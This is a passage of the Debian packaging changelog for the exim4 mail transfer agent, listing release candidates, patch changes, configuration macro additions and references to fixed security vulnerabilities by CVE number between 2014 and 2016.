+ * New upstream version.
+ Drop 75_01-Fix-check-for-commandline-macro-definition.patch
+ 75_02_Fix-bug-with-aborted-server-TLS-connection-under-Gnu.patch.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 24 Oct 2016 19:25:31 +0200
+
+exim4 (4.88~RC2-3) experimental; urgency=medium
+
+ * Fix thinko in exim4-daemon-*.postinst. Do not regenerate gnutls params on
+ every upgrade.
+ * 75_02_Fix-bug-with-aborted-server-TLS-connection-under-Gnu.patch: Fix
+ longstanding bug with aborted TLS server connection handling. Under
+ GnuTLS, when a session startup failed (eg because the client
+ disconnected) Exim did stdio operations after fclose. This was exposed by
+ a recent change which nulled out the file handle after the fclose.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 23 Oct 2016 16:39:13 +0200
+
+exim4 (4.88~RC2-2) experimental; urgency=medium
+
+ * 75_01-Fix-check-for-commandline-macro-definition.patch - Fix permission
+ problems on commandline mail submission. Closes: #840355
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 13 Oct 2016 19:25:07 +0200
+
+exim4 (4.88~RC2-1) experimental; urgency=low
+
+ * New upstream version.
+ + Changed default Diffie-Hellman parameters to be Exim-specific, created
+ by Phil Pennock. Added RFC7919 DH primes as an alternative.
+ Closes: #839978
+ * Set tls_dhparam = historic to use site-specific DH parameters.
+ * Again, ship /usr/share/exim4/exim4_refresh_gnutls-params, use it in
+ -daemon postinst.
+ * Initialize /var/spool/exim4/gnutls-params-2048 at daemon install, either
+ by running certtool or by installing
+ /usr/share/exim4/gnutls-params-2048. Do not try to use
+ openssl dhparam, it takes too long.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 09 Oct 2016 17:37:08 +0200
+
+exim4 (4.88~RC1-1) experimental; urgency=low
+
+ * Drop reference to removed (in 4.80-7) "what"-option in init script usage
+ message. (Thanks, Calum Mackay!) Closes: #823855
+ * 92_CVE-2016-1238.diff: eximstats: Remove . from @INC [CVE-2016-1238]
+ Closes: #832442
+ * [lintian] update-exim4.conf.8 - fix typo.
+ * [lintian] Drop unused override binaries-have-file-conflict.
+ * B-d on default-libmysqlclient-dev.
+ * New upstream version.
+ + Refresh patches: 31_eximmanpage.dpatch 32_exim4.dpatch 35_install.dpatch
+ 50_localscan_dlopen.dpatch
+ + Drop superfluous patches.
+ 71_01_configure.default-nice-message-for-overlong-lines-Bu.patch
+ 71_02_Delivery-quieten-smtp-transport-conn-reuse-vs.-deliv.patch
+ 71_03_Avoid-exposing-passwords-in-log-on-failing-ldap-look.patch
+ 71_04_Avoid-exposing-passwords-in-log-on-failing-ldap-look.patch
+ + Fix crash in VRFY handling when handed an unqualified name
+ (lacking @domain). Apply the same qualification processing as RCPT.
+ Closes: #834699
+ + Fix a possible security hole, wherein a process operating with the Exim
+ UID can gain a root shell. Credit to http://www.halfdog.net/ for
+ discovery and writeup. LP: #1580454
+ * [lintian] exim4-config_files.5 - fix typo.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 25 Sep 2016 15:44:00 +0200
+
+exim4 (4.87-3) unstable; urgency=medium
+
+ * Pull multiple patches from upstream GIT:
+ + 71_01_configure.default-nice-message-for-overlong-lines-Bu.patch
+ Improved message on overlong lines in example config.
+ + 71_02_Delivery-quieten-smtp-transport-conn-reuse-vs.-deliv.patch
+ Fix race condition related to connection reuse.
+ https://bugs.exim.org/show_bug.cgi?id=1810
+ + 71_03_Avoid-exposing-passwords-in-log-on-failing-ldap-look.patch
+ 71_04_Avoid-exposing-passwords-in-log-on-failing-ldap-look.patch
+ Avoid exposing passwords in log on failing ldap lookup
+ expansion. https://bugs.exim.org/show_bug.cgi?id=165
+ * Copy information message on rejecting overlong lines in data ACL from
+ upstream example configuration. Closes: #823418
+ * Add NEWS entry on line-length-limit introduced in 4.87~RC1-1.
+ Closes: 821830
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 08 May 2016 14:03:10 +0200
+
+exim4 (4.87-2) unstable; urgency=medium
+
+ * Fix reference to README.Debian in 01_exim4-config_listmacrosdefs.
+ (Thanks, L. Guruprasad!) Closes: #821416
+ * Add REMOTE_SMTP_SMARTHOST_HOSTS_REQUIRE_TLS macro to enforce TLS
+ connections (hosts_require_tls option) in remote_smtp_smarthost
+ transport. Closes: #822174
+ * exim4-daemon-heavy: Disable WITH_OLD_DEMIME ("demime" ACL condition). It
+ is deprecated and will be removed in 4.88.
+ * README.Debian*: Fix minor issues found by lintian.
+ * Fix reference to spec.txt in 30_exim4-config_check_rcpt. Closes: #665399
+ * Drop exim4-base Recommends on perl-modules. This had been unnecessary
+ since 4.80~rc6-1 which dropped /usr/share/exim4/timeout.pl.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 30 Apr 2016 13:38:29 +0200
+
+exim4 (4.87-1) unstable; urgency=medium
+
+ * Fix comment in
+ conf.d/transport/30_exim4-config_remote_smtp_smarthost. (Thanks,
+ Jörg-Volker Peetz!) Closes: #819780
+ * New upstream release.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 07 Apr 2016 19:26:59 +0200
+
+exim4 (4.87~RC7-1) unstable; urgency=low
+
+ * Enable SOCKS support in both -light and -heavy. Closes: #818091
+ * Fix typos in configuration. (Thanks, Vincent Lefevre!) Closes: #819482
+ * New upstream version.
+ + Drop 74_Store-the-initial-working-directory.diff,
+ 75_String-expansions-fix-extract.patch,
+ 76_only_warn_on_nonempty_environment.diff.
+ + Update debian/example.conf.md5.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 01 Apr 2016 19:04:07 +0200
+
+exim4 (4.87~RC6-3) unstable; urgency=medium
+
+ * Merge changelog entries for 4.86.2-1 and -2.
+ * Upload to unstable.
+ * Add link to CVE details to latest NEWS entry and bump its version and date
+ to match this upload. Closes: #818349, #817244
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 23 Mar 2016 18:44:22 +0100
+
+exim4 (4.87~RC6-2) experimental; urgency=medium
+
+ * 74_Store-the-initial-working-directory.diff,
+ 76_only_warn_on_nonempty_environment.diff: Upstream followups on the
+ CVE fix (Thanks, Heiko Schlittermann!):
+ + Runtime warning is only generated if (and only if) keep_environment
+ is unset and environment is nonempty.
+ + Store the initial working directory and make it available in the new
+ expansion variable $initial_cwd.
+ * Merge all NEWS.Debian files into a single one, identical for all binary
+ packages. - Different NEWS files built from a single source package is not
+ and has not ever been supported by apt-listchanges which is the most
+ important frontend.
+ * Add a NEWS entry about the environment related runtime warning.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 19 Mar 2016 18:11:32 +0100
+
+exim4 (4.87~RC6-1) experimental; urgency=medium
+
+ * New upstream version.
+ * Add 75_String-expansions-fix-extract.patch from upstream GIT, fixing
+ ${extract } string expansion for the numeric/3-string case. (Bug was
+ introduced in 4.85.)
+ * Set keep_environment to empty value instead of setting a minimal PATH in
+ add_environment.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 11 Mar 2016 19:50:07 +0100
+
+exim4 (4.87~RC5-2) experimental; urgency=medium
+
+ * Update debian/upstream/signing-key.asc, using the keys listed in
+ ftp://ftp.exim.org/pub/exim/Exim-Maintainers-Keyring.asc. This adds
+ Heiko Schlittermann's key.
+ * Bump exim4-config Breaks to exim4-daemon-* (<< 4.87~RC5). Closes: #816790
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 05 Mar 2016 13:17:01 +0100
+
+exim4 (4.87~RC5-1) experimental; urgency=medium
+
+ * exim4-config.postinst: Test for existence of /etc/inetd.conf before trying
+ to grep in it. Closes: #814998
+ * New upstream version, includes the patch for CVE-2016-1531. (Local root
+ exploit).
+ * Add macros MAIN_KEEP_ENVIRONMENT and MAIN_ADD_ENVIRONMENT to set the new
+ options. If neither is used we use add_environment to set a minimal
+ PATH=/bin:/usr/bin to avoid a runtime warning.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 02 Mar 2016 21:06:43 +0100
+
+exim4 (4.87~RC3-2) experimental; urgency=medium
+
+ * README.Debian: Refer to Exim specification by chapter name instead of
+ chapter number. Closes: #813351
+ * Fix some spelling errors found by lintian.
+ * Minor debian/rules cleanup:
+ + Restore originally intended behavior, upstream changelog is only
+ shipped in exim4-base, symlinks to it elsewhere.
+ + Drop workaround for #347577, fixed in debhelper 5.0.15.
+ + Use "dh binary-arch" and "dh binary-indep" and a bunch of override
+ targets instead of listing all dh-commands. While this is uglier and
+ slows things down a bit it shortens debian/rules by 40 lines and has the
+ huge benefit that we automatically use all suggested helpers in correct
+ order.
+ + Drop unused variables combinedidbgpackage/dhcombinedidbgpackage.
+ + Delete unused, commented code.
+ + Drop (exported) variable MTACONFLICTS, used only once.
+ * Bugfix: Stop build if generation of EDITME.exim4-heavy fails.
+ * Refresh debian/EDITME.*, -heavy was missing ldap and sql support.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 13 Feb 2016 20:10:53 +0100
+
+exim4 (4.87~RC3-1) experimental; urgency=medium
+
+ * Move Vcs-* from git/http to https.
+ * [lintian] README.Debian: s/desireable/desirable/.
+ * [lintian] README.Debian: Fix grammar error "allow + infinitive".
+ * [lintian] exim4-config.postinst: Use which foo > /dev/null
+ instead of [ -x /path/to/foo ].
+ * Update list of patches in debian/README.Debian.xml
+ * Drop 66_enlarge-dh-parameters-size.dpatch: It does not have any effect
+ with GnuTLS >= 2.12 and even stable has GnuTLS 3.x.
+ * New upstream version.
+ + Upstream's default rcpt ACL now requires that a HELO/EHLO was accepted,
+ merge this change and drop CHECK_MAIL_HELO_ISSUED macro.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 21 Jan 2016 17:44:00 +0100
+
+exim4 (4.87~RC2-1) experimental; urgency=medium
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 19 Dec 2015 17:51:39 +0100
+
+exim4 (4.87~RC1-1) experimental; urgency=medium
+
+ * New upstream version.
+ + Refresh patches.
+ + Drop debian/patches/75_00xx*.patch from exim-4_86+fixes branch.
+ + Sync with upstream default configuration: Check maximum (physical, i.e.
+ before unfolding) line length in default spec file data ACL and smtp
+ transport. Bug 1684 Closes: #797919
+ + HS/02 Add the Exim version string to the process info. This way exiwhat
+ gives some more detail about the running daemon. Closes: #240883
+ * Override upstream's new default of tls_advertise_hosts = * if
+ MAIN_TLS_ENABLE is not set.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 11 Dec 2015 20:15:30 +0100
+
+exim4 (4.86.2-2) unstable; urgency=high
+
+ * Bump exim4-config Breaks to exim4-daemon-* (<< 4.86.2). Closes: #816790
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 05 Mar 2016 13:07:31 +0100
+
+exim4 (4.86.2-1) unstable; urgency=high
+
+ * Pull 75_0012_Cutthrough-Fix-bug-with-dot-only-line.patch from upstream
+ 4.86+fixes branch.
+ * New upstream security release for CVE-2016-1531.
+ + New options keep_environment/add_environment which are empty by default,
+ i.e. any subprocesses start in a clean (empty) environment.
+ + -C requires an absolute path.
+ + Exim changes it's working directory to / right after startup.
+ * Add macros MAIN_KEEP_ENVIRONMENT and MAIN_ADD_ENVIRONMENT to set the new
+ options. If neither is used we use add_environment to set a minimal
+ PATH=/bin:/usr/bin to avoid a runtime warning.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 01 Mar 2016 19:34:39 +0100
+
+exim4 (4.86-7) unstable; urgency=medium
+
+ * Allow arch-indep build (dpkg-buildpackage -A). Closes: #806023
+ * 75_0011_MIME-fix-crash-on-filenames-having-null-charset.-Bug.patch from
+ exim-4_86+fixes branch fixes another MIME ACL related crash.
+ https://bugs.exim.org/show_bug.cgi?id=1730
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 28 Nov 2015 18:45:31 +0100
+
+exim4 (4.86-6) unstable; urgency=medium
+
+ * Cleanup (actual patch is identical): Use
+ 75_0009_Avoid-misaligned-access-in-cached-lookup.-Bug-1708.patch from
+ exim-4_86+fixes branch instad of
+ 76_Avoid-misaligned-access-in-cached-lookup.-Bug-1708.patch.
+ * Pull 75_0010_DKIM-ignore-space-tab-embedded-in-base64-during-deco.patch,
+ DKIM: ignore space & tab embedded in base64 during decode. Bug 1700
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 08 Nov 2015 07:55:51 +0100
+
+exim4 (4.86-5) unstable; urgency=high
+
+ * Pull 76_Avoid-misaligned-access-in-cached-lookup.-Bug-1708.patch from GIT
+ head to avoid misaligned access in cached lookup. Closes: #803255
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 03 Nov 2015 19:33:49 +0100
+
+exim4 (4.86-4) unstable; urgency=medium
+
+ * Fix documentation of lowuid_aliases router, exceptions are in
+ CONFDIR/lowuid-aliases not CONFDIR/lowuid_aliases. (Thanks, Tim Krah)
+ Closes: #799672
+ * fcron has been removed from Debian in 2011, stop listing it as an
+ alternative dependency of exim4-base (Thanks, Alexandre Detiste).
+ Closes: #798236
+ * Update to upstream exim-4_86+fixes branch:
+ + Drop 75_Fix-ESMTP-MAIL-command-option-processing.patch,
+ 76_Fix-post-transport-crash.patch,
+ 77_Fix-post-transport-crash-safeguard-for-missing-spool.patch,
+ 78_Close-logs-after-daemon-process-exceptional-write.patch.
+ + Add 75_0001-Fix-post-transport-crash.patch
+ 75_0002-Fix-post-transport-crash-safeguard-for-missing-spool.patch
+ 75_0003-Fix-ESMTP-MAIL-command-option-processing.patch
+ 75_0005-Close-logs-after-daemon-process-exceptional-write.-B.patch
+ 75_0007-DNS-time-limit-cached-returns-using-TTL.-Bug-1395.patch
+ 75_0008-Retry-always-use-interface-if-set-for-retry-DB-key.-.patch
+ * Use dh v9.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 17 Oct 2015 15:01:01 +0200
+
+exim4 (4.86-3) unstable; urgency=medium
+
+ * Pull three patches from upstream git:
+ + 75_Fix-ESMTP-MAIL-command-option-processing.patch:
+ Corrects handling of mail-addresses with whitespace.
+ <http://article.gmane.org/gmane.mail.exim.user/97069>
+ + 76_Fix-post-transport-crash.patch
+ 77_Fix-post-transport-crash-safeguard-for-missing-spool.patch
+ <https://bugs.exim.org/show_bug.cgi?id=1671>
+ * Fix spelling error in copyright file. (Thanks, lintian)
+ * Pull 77_Fix-post-transport-crash-safeguard-for-missing-spool.patch from
+ upstream git, exim was keeping logfiles open after after a "too many
+ connections" event. Closes: #796524, #476958 (Thanks to Andreas Pflug for
+ chasing this.)
+ * When saving the berkeley DB version at build-time pass -P option to cpp,
+ to prevent linebreaks.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 25 Aug 2015 20:05:59 +0200
+
+exim4 (4.86-2) unstable; urgency=high
+
+ * Update exim4-config Breaks, PRDR support is was moved from being
+ Experimental into the mainline with 4.83.
+ Closes: #794320
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 02 Aug 2015 07:40:24 +0200
+
+exim4 (4.86-1) unstable; urgency=medium
+
+ * New upstream version, identical to RC5 (except for the version string).
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 26 Jul 2015 18:35:33 +0200
+
+exim4 (4.86~RC5-1) unstable; urgency=medium
+
+ * New upstream version.
+ + Drop 75_Bump-LOCAL_SCAN_ABI_VERSION.patch.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 18 Jul 2015 11:46:11 +0200
+
+exim4 (4.86~RC4-2) unstable; urgency=medium
+
+ * Drop libmysqlclient15-dev alternative build-dependency. Closes: #790463
+ * Update list of upstream gpg-keys (0x4D1E900E14C1CC04 Phil Pennock,
+ 0x85AB833FDDC03262 Nigel Metheringham, 0xFFC0F14C84C71B6E Tony Finch,
+ 0xC4F4F94804D29EBA Todd Lyons, 0xBCE58C8CE41F32DF Jeremy Harris,
+ 0x63762CDA67E2F359 David Woodhouse, 0xAD5EDBB793EC57E4 Graeme Fowler),
+ transition from debian/upstream-signing-key.pgp to
+ debian/upstream/signing-key.asc.
+ * Pull 75_Bump-LOCAL_SCAN_ABI_VERSION.patch from upstream GIT and update
+ exim4-localscanapi-x.y provides to 2.0. A binNMU of sa-exim will then
+ properly fix the issue. Closes: #790616
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 05 Jul 2015 11:47:47 +0200
+
+exim4 (4.86~RC4-1) unstable; urgency=medium
+
+ * unexport/undefine TZ in debian/rules for reproducible build. It would be
+ used as default value for TIMEZONE_DEFAULT.
+ * New upstream version.
+ + Unfuzz 31_eximmanpage.dpatch.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 29 Jun 2015 07:43:19 +0200
+
+exim4 (4.86~RC3-2) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 23 Jun 2015 19:11:19 +0200
+
+exim4 (4.86~RC3-1) experimental; urgency=medium
+
+ * Don't provide default-mta on Ubuntu and Ubuntu-derivatives. See LP-bug
+ 1166671.
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 22 Jun 2015 20:39:11 +0200
+
+exim4 (4.86~RC2-1) experimental; urgency=medium
+
+ * Drop nowadays unneeded XS-Testsuite: autopkgtest in debian/control
+ (Thanks, lintian).
+ * New upstream version:
+ +Drop included patches.
+ (-72_0001-Guard-routing-against-a-null-deref.-Bug-1639.patch,
+ 72_0002-Spamd-add-missing-initialiser.-Rspamd-mode-was-incor.patch,
+ 72_0003-DSN-fix-null-deref-when-bounce-is-due-to-conn-timeou.patch,
+ 72_0004-Content-scan-Use-ETIMEDOUT-not-ETIME-as-having-bette.patch)
+ * Sync Debian config with upstream default config:
+ + Set prdr_enable.
+ + Add +smtp_protocol_error +smtp_syntax_error +tls_certificate_verified to
+ log_selector option value.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 17 Jun 2015 19:49:58 +0200
+
+exim4 (4.86~RC1-3) experimental; urgency=medium
+
+ * Get time and date of latest debian/changelog entry and patch exim(on) to
+ use these instead of __DATE__ and __TIME__.
+ * Pull 72_0004-Content-scan-Use-ETIMEDOUT-not-ETIME-as-having-bette.patch
+ from GIT to fix FTBFS on kfreebsd.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 13 Jun 2015 15:22:47 +0200
+
+exim4 (4.86~RC1-2) experimental; urgency=medium
+
+ * Pull three post-release fixes from upstream GIT. (null pointer
+ derefencing, and spam scanning defaulting to rspam mode)
+ + 72_0001-Guard-routing-against-a-null-deref.-Bug-1639.patch
+ + 72_0002-Spamd-add-missing-initialiser.-Rspamd-mode-was-incor.patch
+ + 72_0003-DSN-fix-null-deref-when-bounce-is-due-to-conn-timeou.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 07 Jun 2015 07:26:13 +0200
+
+exim4 (4.86~RC1-1) experimental; urgency=medium
+
+ * New upstream release.
+ + Drop 84_Fix-truncation-of-items-in-headers_remove-lists-this.patch,
+ refresh patches.
+ + Update EDITME*, enable AUTH_TLS for -heavy.
+ + Sync Debian config with upstream default config, rfc1413 calls are now
+ disabled by default.
+ + Uses MIME format bounce messages (RFC 3461). Closes: #230284,#400741
+ + The spamd_address main option now supports an optional timeout value per
+ server (tmo=timespec), it defaults two 2 minutes. Closes: #297915
+ + spamd_address also accepts hostnames and IPv6 addresses. Closes: #751687
+ + log reason for defer, on a hostlist dns-lookup temporary error.
+ Closes: #670035
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 06 Jun 2015 15:41:33 +0200
+
+exim4 (4.85-3) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 28 Apr 2015 19:34:16 +0200
+
+exim4 (4.85-2) experimental; urgency=medium
+
+ * Merge from unstable 4.84-8.
+ + Tighten dependency of exim4 on exim4-base to (>= ${source:Version}) and
+ (<< ${source:Version}.1), at least source version, but not the next
+ sourceful upload. Closes: #777246
+ + Pull 84_Fix-truncation-of-items-in-headers_remove-lists-this.patch from
+ upstream GIT which fixes breakage of string-expansion in headers_remove
+ commands. (Thanks Gordon Dickens, for the pointer.) -
+ 83_Remove-limit-on-remove_headers-item-size.-Bug-1533.patch not added
+ here since it already part of 4.85.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 21 Feb 2015 15:38:47 +0100
+
+exim4 (4.85-1) experimental; urgency=medium
+
+ * exim4-config_files.5: Escape dots in regex. (Thanks, ael)
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 13 Jan 2015 18:48:45 +0100
+
+exim4 (4.85~RC4-1) experimental; urgency=medium
+
+ * update-exim4.conf:
+ + Drop unused variable UPEX4C_internal_tmp.
+ + Use tempfile(1) if the generated file will not be written to
+ /var/lib/exim4/.
+ + Add --check option.
+ * init-script: On restart use update-exim4.conf --check before stopping the
+ daemon. (This is a no-op with systemd since its sysv compat layer
+ translates "foo restart" into "foo stop" "foo start" instead of using the
+ init scripts restart target.)
+ * Handle _RC in watchfile with uversionmangle.
+ * New upstream version.
+ + Stop repacking source, rfcs have been dropped.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 31 Dec 2014 14:24:35 +0100
+
+exim4 (4.85~RC3+dfsg-1) experimental; urgency=medium
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 18 Dec 2014 19:07:59 +0100
+
+exim4 (4.85~RC2+dfsg-1) experimental; urgency=medium
+
+ * New upstream version.
+ * Unfuzz patches: 50_localscan_dlopen.dpatch 67_unnecessaryCopt.diff
+ 70_remove_exim-users_references.dpatch.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 01 Dec 2014 18:54:17 +0100
+
+exim4 (4.85~RC1+dfsg-1) experimental; urgency=medium
+
+ * Unset message_prefix/message_sufix in maildrop_pipe transport. Maildrop
+ neither expects a mbox-style From nor an empty line add the end. (Thanks,
+ Edward Betts) Closes: #769396
+ * Change the init script's restart order from { regenerate_config; stop;
+ start ; } to { stop; regenerate_config; start ; }. (Thanks, Jakub Warmuz)
+ Closes: #768874
+ * New upstream version.
+ + Unfuzz 66_enlarge-dh-parameters-size.dpatch
+ + Drop 80_mime_empty_charset.diff.
+ * Remove rfc from upstream source and repack it.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 18 Nov 2014 19:28:20 +0100
+
+exim4 (4.84-8) unstable; urgency=medium
+
+ * Pull 83_Remove-limit-on-remove_headers-item-size.-Bug-1533.patch and
+ 84_Fix-truncation-of-items-in-headers_remove-lists-this.patch from
+ upstream GIT which fix breakage of string-expansion in headers_remove
+ commands. (Thanks Gordon Dickens, for the pointer.)
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 17 Feb 2015 18:00:42 +0100
+
+exim4 (4.84-7) unstable; urgency=medium
+
+ * Tighten dependency of exim4 on exim4-base to (>= ${source:Version}) and
+ (<< ${source:Version}.1), at least source version, but not the next
+ sourceful upload. Closes: #777246
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 07 Feb 2015 15:12:33 +0100
+
+exim4 (4.84-6) unstable; urgency=medium
+
+ * Revert init script's restart order change in 4.84-4 for the time being.
+ This needs a slightly more involved change than I want to push into jessie
+ right now.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 21 Dec 2014 14:07:12 +0100
+
+exim4 (4.84-5) unstable; urgency=medium
+
+ * 82_quoted-or-r-2047-encoded.diff pulled from upstream git (sans
+ testsuite), extends the fix in 4.84-2.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 17 Dec 2014 19:03:39 +0100
+
+exim4 (4.84-4) unstable; urgency=medium
+
+ * Unset message_prefix/message_sufix in maildrop_pipe transport. Maildrop
+ neither expects a mbox-style From nor an empty line add the end. (Thanks,
+ Edward Betts) Closes: #769396
+ * Change the init script's restart order from { regenerate_config; stop;
+ start ; } to { stop; regenerate_config; start ; }. (Thanks, Jakub Warmuz)
+ Closes: #768874
+ * 81_buffer-overrun-in-spam-acl.diff from upstream git. Fix a buffer overrun
+ with control characters in argument of spam= acl condition.
+ <http://bugs.exim.org/show_bug.cgi?id=1552>
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 30 Nov 2014 08:24:04 +0100
+
+exim4 (4.84-3) unstable; urgency=medium
+
+ * Apply patch to Italian (it) debconf template translation, thanks to
+ s3v <c0llapsed@yahoo.it>. Closes: #764925
+ * Let virtual package cron-daemon fulfill exim4-base's dependency now that
+ bcron provides it instead of "cron" and systemd-cron is fixed.
+ Closes: #765720
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 19 Oct 2014 13:35:56 +0200
+
+exim4 (4.84-2) unstable; urgency=high
+
+ * Add 80_mime_empty_charset.diff from upstream GIT (the parts that change
+ the code, not the testsuite) to handle empty content-type charset.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 29 Aug 2014 19:41:38 +0200
+
+exim4 (4.84-1) unstable; urgency=medium
+
+ * New upstream release.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 14 Aug 2014 19:33:01 +0200
+
+exim4 (4.84~RC2-1) unstable; urgency=medium
+
+ * New upstream release candidate.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 09 Aug 2014 07:42:00 +0200
+
+exim4 (4.84~RC1-3) unstable; urgency=medium
+
+ * Third try. Simply comment *custom* in debian/control.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 02 Aug 2014 09:29:13 +0200
+
+exim4 (4.84~RC1-2) unstable; urgency=medium
+
+ * Re-upload, after manually removing *custom* from the changes file to avoid
+ false detection of NEW packages due to the changes in the archive
+ infrastructure related source-only uploads.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 02 Aug 2014 08:14:54 +0200
+
+exim4 (4.84~RC1-1) unstable; urgency=medium
+
+ * New upstream release candidate, fixing a regression in the MIME handling
+ code.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 02 Aug 2014 07:45:26 +0200
+
+exim4 (4.83-2) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 26 Jul 2014 09:25:15 +0200
+
+exim4 (4.83-1) experimental; urgency=medium
+
+ * New upstream release which includes the fix for CVE-2014-2972.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 23 Jul 2014 08:13:22 +0200
+
+exim4 (4.83~RC3-1) experimental; urgency=medium
+
+ * New upstream release candidate.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 08 Jul 2014 19:07:52 +0200
+
+exim4 (4.83~RC2-1) experimental; urgency=medium
+
+ * New upstream release candidate.
+ + JH/26 Port service names are now accepted for tls_on_connect_ports, to
+ align with daemon_smtp_ports. Bug 72. Closes: #316441
+
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 06 Jun 2014 19:11:24 +0200
+
+exim4 (4.83~RC1-1) experimental; urgency=medium
+
+ * New upstream feature release candidate.
+ + JH/06 Log outbound-TLS and port details, subject to log selectors, for a
+ failed delivery. Closes: #712987
+ * Unfuzz 31_eximmanpage.dpatch and 50_localscan_dlopen.dpatch.
+ * Drop superfluous patches: 75_unbind-ldap-connection.diff
+ 76_fix_ldap_option_setting.diff 77_close-the-server-side-of-TLS.diff
+ 80_fix_ftbfs_hurd.diff
+ * Since exim4-base currently only includes daily cronjobs let anacron
+ fulfill the dependency, too. Systems with missing recommends (anacron
+ recommends cron) that are *not* restarted regularily will therefore not
+ run the cron-job regularily. Exim should not break horribly in this case
+ and we can assume the local system administrator knows what (s)he is doing
+ by disabling installation of recommends. (Policy: "[...] packages that
+ would be found together with this one in all but unusual installations")
+ Closes: #733929
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 29 May 2014 13:09:04 +0200
+
+exim4 (4.82.1-2) unstable; urgency=high
+
+ * [87_double_expansion.diff] from upstream. Stop unwanted double expansion
+ of arguments to mathematical comparison operations. CVE-2014-2972
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 20 Jul 2014 19:05:48 +0200
+
+exim4 (4.82.1-1) unstable; urgency=high
+
+ * New upstream security release, fixing CVE-2014-2957. This is a remote
+ code execution flaw in Exim version 4.82 (only) when built with DMARC
+ support. Debian's binary packages are not built with DMARC support and
+ therefore not vulnerable. However we want to fix this for people building
+ their own binaries based on Debian's packaging.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 28 May 2014 19:01:43 +0200
+
+exim4 (4.82-8) unstable; urgency=medium
+
+ * Now that GMP has been relicensed to LGPLv3+/GPLv2+ build exim against
+ GnuTLS v3.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 12 Apr 2014 16:19:05 +0200
+
+exim4 (4.82-7) unstable; urgency=high
+
+ [ Martin Pitt ]
+ * debian/tests/control: Add missing python test dependency, as
+ debian/tests/security calls python. Closes: #740092
+
+ [ Andreas Metzler ]
+ * 4.82 deprecated $tls_bits, $tls_certificate_verified, $tls_cipher,
+ $tls_peerdn, $tls_sni and introduced tls_in_*/tls_out_* variants of these
+ variables which describe the respective status of the current incoming or
+ outgoing TLS connection. The rationale for this is that a single exim
+ process can now use both an incoming (message reception) and outgoing
+ TLS connection (callout or cutthrough delivery) concurrently. With this
+ change the "old" variables were mapped to tls_in_*, i.e. they expand to
+ empty values on outgoing connections. (This is not yet documented.)
+ Outgoing tls-connections can therefore not be detected by nonempty
+ $tls_cipher anymore. exim4-config << 4.82 used this mechanism to prevent
+ sending of plaintext AUTH information on unencrypted connections. Force a
+ lockstep upgrade of exim4-config by bumping the version of exim4-base's
+ dependency on exim4-config to >= 4.82.
+ Closes: #742901, #736081
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 06 Apr 2014 08:32:11 +0200
+
+exim4 (4.82-6) experimental; urgency=medium
+
+ [ Martin Pitt ]
+ * debian/tests/control: Add missing python test dependency, as
+ debian/tests/security calls python. Closes: #740092
+
+ [ Andreas Metzler ]
